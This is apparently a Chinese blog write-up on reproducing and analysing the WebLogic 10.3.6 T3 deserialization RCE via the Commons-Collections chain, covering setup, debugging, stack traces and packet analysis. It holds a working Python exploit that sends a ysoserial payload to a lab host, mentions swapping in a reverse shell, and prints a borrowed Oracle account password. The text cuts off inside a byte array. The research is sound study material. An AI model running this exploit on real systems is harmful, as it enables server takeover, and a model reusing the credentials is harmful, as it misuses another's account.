common-collections导致的反序列化RCE,闲着也是闲着,分析下。
环境
centos7 weblogic10.3.6 win10 idea
安装出现的问题
下载需要Oracle账户,网上百度了一个
12696671285@qq.com
2密码:Oracle123
执行安装程序报错
1-bash: ./oepe-wls-indigo-installer-11.1.1.8.0.201110211138-10.3.6-linux32.bin: /lib/ld-linux.so.2: bad ELF interpreter: 没有那个文件或目录
解决
1yum install zlib.i686 -y
可以图像化安装,也可以命令行静默安装,推荐还是图形化安装,或者docker也行。
复现
利用脚本如下,先生成payload写入tmp文件
1java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" > ./tmp
然后运行脚本
1import socket
2import struct
3
4def exp(host, port):
5 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6 server_address = (host, int(port))
7 data = ""
8 try:
9 sock.connect(server_address)
10 headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
11 sock.sendall(headers)
12 data = sock.recv(2)
13 f = open('./tmp', 'rb')
14 payload_obj = f.read()
15 f.close()
16 payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
17 payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
18 payload2 = payload_obj
19 payload = payload1 + payload2 + payload3
20
21 payload = struct.pack('>I', len(payload)) + payload[4:]
22
23 sock.send(payload)
24 data = sock.recv(4096)
25 except socket.error as e:
26 print (u'socket 连接异常!')
27 finally:
28 sock.close()
29
30exp('172.16.2.129', 7001)
利用成功会创建 /tmp/exp 文件,可以把poc改为反弹shell的payload。
远程调试
修改 /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在上方加入两行debug配置
1debugFlag="true"
2export debugFlag
打开idea,创建一个Java web工程,从Linux中把 /root/Oracle/Middleware/modules
目录拷出来,在idea中File->Project Structure里找到Libraries,添加modules。
然后配置远程调试,填写远程IP以及端口。
重新启动weblogic
因为我们知道是 commons-collections的InvokerTransformer出现的问题,所以断点直接下在transform(),开启idea的debug,然后用exp打过去,发现断点已经成功。
漏洞分析
先上堆栈调用链
1transform:123, InvokerTransformer (org.apache.commons.collections.functors)
2transform:122, ChainedTransformer (org.apache.commons.collections.functors)
3get:157, LazyMap (org.apache.commons.collections.map)
4invoke:50, AnnotationInvocationHandler (sun.reflect.annotation)
5entrySet:-1, $Proxy57
6readObject:327, AnnotationInvocationHandler (sun.reflect.annotation)
7invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
8invoke:39, NativeMethodAccessorImpl (sun.reflect)
9invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
10invoke:597, Method (java.lang.reflect)
11invokeReadObject:974, ObjectStreamClass (java.io)
12readSerialData:1848, ObjectInputStream (java.io)
13readOrdinaryObject:1752, ObjectInputStream (java.io)
14readObject0:1328, ObjectInputStream (java.io)
15readObject:350, ObjectInputStream (java.io)
16readObject:66, InboundMsgAbbrev (weblogic.rjvm)
17read:38, InboundMsgAbbrev (weblogic.rjvm)
18readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
19init:213, MsgAbbrevInputStream (weblogic.rjvm)
20dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
21dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
22dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
23readReadySocketOnce:967, SocketMuxer (weblogic.socket)
24readReadySocket:899, SocketMuxer (weblogic.socket)
25processSockets:130, PosixSocketMuxer (weblogic.socket)
26run:29, SocketReaderRequest (weblogic.socket)
27execute:42, SocketReaderRequest (weblogic.socket)
28execute:145, ExecuteThread (weblogic.kernel)
29run:117, ExecuteThread (weblogic.kernel)
可以看到后半部分是common-collections的反序列化链
weblogic中确实用到了这个东西,现在就需要找反序列化的入口,就需要用到weblogic的T3协议了。
./Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh
这个脚本是用来关闭weblogic服务的,它的脚本中使用了 t3://
协议。
为了研究这个t3协议到底是个什么东西,我用tcpdump监听,然后运行脚本抓到了t3协议的流量。
1tcpdump -i any -w dump.pcap
然后发现在t3协议中,传输了序列化对象,我们知道ac ed 00 05
是Java中序列化对象的特点,过滤下
追踪下tcp流
hex转储下,发现确实存在序列化数据。
所以我们可以根据t3协议来构造恶意数据进而利用common-collections的反序列化链达到rce的目的。
接下来就是怎么去构造t3协议数据包?
先来分析下t3协议的数据流,首先是第一个数据包发送了t3 10.3.6\nAS:255\nHL:19\n\n
,然后服务端回复了一个HELO信息
前人经验:使用t3 9.2.0\nAS:255\nHL:19\n\n
字符串作为T3的协议头发送给weblogic9、weblogic10g、weblogic11g、weblogic12c均合法。
再来看第二个数据包,将数据流转为C数组
复制第二块红色的,代表是第二个请求包。编写Java代码来分析。
1package com.test.index;
2
3import java.util.ArrayList;
4import java.util.Base64;
5import java.io.InputStream;
6import java.io.ByteArrayInputStream;
7import java.io.ObjectInputStream;
8import java.io.OptionalDataException;
9import java.io.StreamCorruptedException;
10import java.util.Arrays;
11import java.util.List;
12
13public class DecodeObject {
14 public static void main(String args[]) throws Exception {
15
16 byte bytes[] = { /* Packet 388 */
17 (byte) 0x00, (byte) 0x00, (byte) 0x05, (byte) (byte) 0xba, (byte) 0x01, (byte) 0x65, (byte) 0x01, (byte) 0xff,
18 (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x00,
19 (byte) 0x00, (byte) 0x00, (byte) 0x69, (byte) 0x00, (byte) 0x00, (byte) 0xea, (byte) 0x60, (byte) 0x00,
20 (byte) 0x00, (byte) 0x00, (byte) 0x18, (byte) 0x05, (byte) 0x08, (byte) 0x4b, (byte) 0xa0, (byte) 0xb4,
21 (byte) 0x79, (byte) 0xc0, (byte) 0xd5, (byte) 0x5b, (byte) 0x2a, (byte) 0x27, (byte) 0x86, (byte) 0x3d,
22 (byte) 0x71, (byte) 0xf7, (byte) 0x37, (byte) 0xef, (byte) 0xcc, (byte) 0x99, (byte) 0x32, (byte) 0x23,
23 (byte) 0x9e, (byte) 0x4b, (byte) 0x75, (byte) 0x02, (byte) 0x79, (byte) 0x73, (byte) 0x72, (byte) 0x00,
24 (byte) 0x78, (byte) 0x72, (byte) 0x01, (byte) 0x78, (byte) 0x72, (byte) 0x02, (byte) 0x78, (byte) 0x70,
25 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03,
26 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06,
27 (byte) 0x00, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x70, (byte) 0x00,
28 (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x03, (byte) 0x00,
29 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x06, (byte) 0x00,
30 (byte) 0x70, (byte) 0x06, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed,
31 (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65,
32 (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72,
33 (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73,
34 (byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e,
35 (byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57,
36 (byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
37 (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
38 (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
39 (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
40 (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
41 (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6,
42 (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02,
43 (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a,
44 (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e,
45 (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c,
46 (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63,
47 (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76,
48 (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a,
49 (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72,
50 (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68,
51 (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54,
52 (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
53 (byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
54 (byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
55 (byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
56 (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00,
57 (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d,
58 (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f,
59 (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x78, (byte) 0x70,
60 (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00,
61 (byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00,
62 (byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
63 (byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x43,
64 (byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54, (byte) 0x61, (byte) 0x62, (byte) 0x6c,
65 (byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72, (byte) 0x79, (byte) 0x2f, (byte) 0x52,
66 (byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9, (byte) 0xed, (byte) 0x0c, (byte) 0x00,
67 (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
68 (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
69 (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
70 (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56,
71 (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e,
72 (byte) 0x66, (byte) 0x6f, (byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52,
73 (byte) 0x46, (byte) 0x3e, (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08,
74 (byte) 0x70, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73,
75 (byte) 0x74, (byte) 0x00, (byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62,
76 (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f,
77 (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74,
78 (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61,
79 (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66,
80 (byte) 0x6f, (byte) 0x3b, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65, (byte) 0x6c,
81 (byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72, (byte) 0x73,
82 (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c, (byte) 0x6a,
83 (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e, (byte) 0x67,
84 (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x3b,
85 (byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73, (byte) 0x69,
86 (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41, (byte) 0x73,
87 (byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00, (byte) 0x02,
88 (byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65,
89 (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63,
90 (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e,
91 (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x50,
92 (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e,
93 (byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8, (byte) 0xae,
94 (byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00, (byte) 0x05,
95 (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
96 (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
97 (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
98 (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
99 (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
100 (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
101 (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
102 (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69, (byte) 0x6d,
103 (byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65, (byte) 0x71,
104 (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00, (byte) 0x0a, (byte) 0x69,
105 (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64, (byte) 0x6f,
106 (byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x04, (byte) 0x4c, (byte) 0x00,
107 (byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x72,
108 (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00,
109 (byte) 0x04, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00, (byte) 0x78,
110 (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05,
111 (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x1d, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
112 (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76,
113 (byte) 0x6d, (byte) 0x2e, (byte) 0x43, (byte) 0x6c, (byte) 0x61, (byte) 0x73, (byte) 0x73, (byte) 0x54,
114 (byte) 0x61, (byte) 0x62, (byte) 0x6c, (byte) 0x65, (byte) 0x45, (byte) 0x6e, (byte) 0x74, (byte) 0x72,
115 (byte) 0x79, (byte) 0x2f, (byte) 0x52, (byte) 0x65, (byte) 0x81, (byte) 0x57, (byte) 0xf4, (byte) 0xf9,
116 (byte) 0xed, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70, (byte) 0x72, (byte) 0x00,
117 (byte) 0x21, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69,
118 (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e,
119 (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61,
120 (byte) 0x6c, (byte) 0x2e, (byte) 0x50, (byte) 0x65, (byte) 0x65, (byte) 0x72, (byte) 0x49, (byte) 0x6e,
121 (byte) 0x66, (byte) 0x6f, (byte) 0x58, (byte) 0x54, (byte) 0x74, (byte) 0xf3, (byte) 0x9b, (byte) 0xc9,
122 (byte) 0x08, (byte) 0xf1, (byte) 0x02, (byte) 0x00, (byte) 0x06, (byte) 0x49, (byte) 0x00, (byte) 0x05,
123 (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x05,
124 (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00, (byte) 0x0c,
125 (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67, (byte) 0x50,
126 (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b, (byte) 0x73,
127 (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50, (byte) 0x61,
128 (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65, (byte) 0x6d,
129 (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50, (byte) 0x61,
130 (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
131 (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
132 (byte) 0x27, (byte) 0x5b, (byte) 0x4c, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f,
133 (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2f, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d,
134 (byte) 0x6f, (byte) 0x6e, (byte) 0x2f, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72,
135 (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2f, (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b,
136 (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x3b,
137 (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c,
138 (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d,
139 (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
140 (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e, (byte) 0x56, (byte) 0x65, (byte) 0x72,
141 (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f,
142 (byte) 0x97, (byte) 0x22, (byte) 0x45, (byte) 0x51, (byte) 0x64, (byte) 0x52, (byte) 0x46, (byte) 0x3e,
143 (byte) 0x02, (byte) 0x00, (byte) 0x03, (byte) 0x5b, (byte) 0x00, (byte) 0x08, (byte) 0x70, (byte) 0x61,
144 (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x73, (byte) 0x71, (byte) 0x00,
145 (byte) 0x7e, (byte) 0x00, (byte) 0x03, (byte) 0x4c, (byte) 0x00, (byte) 0x0e, (byte) 0x72, (byte) 0x65,
146 (byte) 0x6c, (byte) 0x65, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x56, (byte) 0x65, (byte) 0x72,
147 (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x74, (byte) 0x00, (byte) 0x12, (byte) 0x4c,
148 (byte) 0x6a, (byte) 0x61, (byte) 0x76, (byte) 0x61, (byte) 0x2f, (byte) 0x6c, (byte) 0x61, (byte) 0x6e,
149 (byte) 0x67, (byte) 0x2f, (byte) 0x53, (byte) 0x74, (byte) 0x72, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
150 (byte) 0x3b, (byte) 0x5b, (byte) 0x00, (byte) 0x12, (byte) 0x76, (byte) 0x65, (byte) 0x72, (byte) 0x73,
151 (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x49, (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0x41,
152 (byte) 0x73, (byte) 0x42, (byte) 0x79, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x00,
153 (byte) 0x02, (byte) 0x5b, (byte) 0x42, (byte) 0x78, (byte) 0x72, (byte) 0x00, (byte) 0x24, (byte) 0x77,
154 (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63, (byte) 0x2e,
155 (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x6d, (byte) 0x6f, (byte) 0x6e, (byte) 0x2e, (byte) 0x69,
156 (byte) 0x6e, (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x61, (byte) 0x6c, (byte) 0x2e,
157 (byte) 0x50, (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x61, (byte) 0x67, (byte) 0x65, (byte) 0x49,
158 (byte) 0x6e, (byte) 0x66, (byte) 0x6f, (byte) 0xe6, (byte) 0xf7, (byte) 0x23, (byte) 0xe7, (byte) 0xb8,
159 (byte) 0xae, (byte) 0x1e, (byte) 0xc9, (byte) 0x02, (byte) 0x00, (byte) 0x08, (byte) 0x49, (byte) 0x00,
160 (byte) 0x05, (byte) 0x6d, (byte) 0x61, (byte) 0x6a, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
161 (byte) 0x05, (byte) 0x6d, (byte) 0x69, (byte) 0x6e, (byte) 0x6f, (byte) 0x72, (byte) 0x49, (byte) 0x00,
162 (byte) 0x0c, (byte) 0x72, (byte) 0x6f, (byte) 0x6c, (byte) 0x6c, (byte) 0x69, (byte) 0x6e, (byte) 0x67,
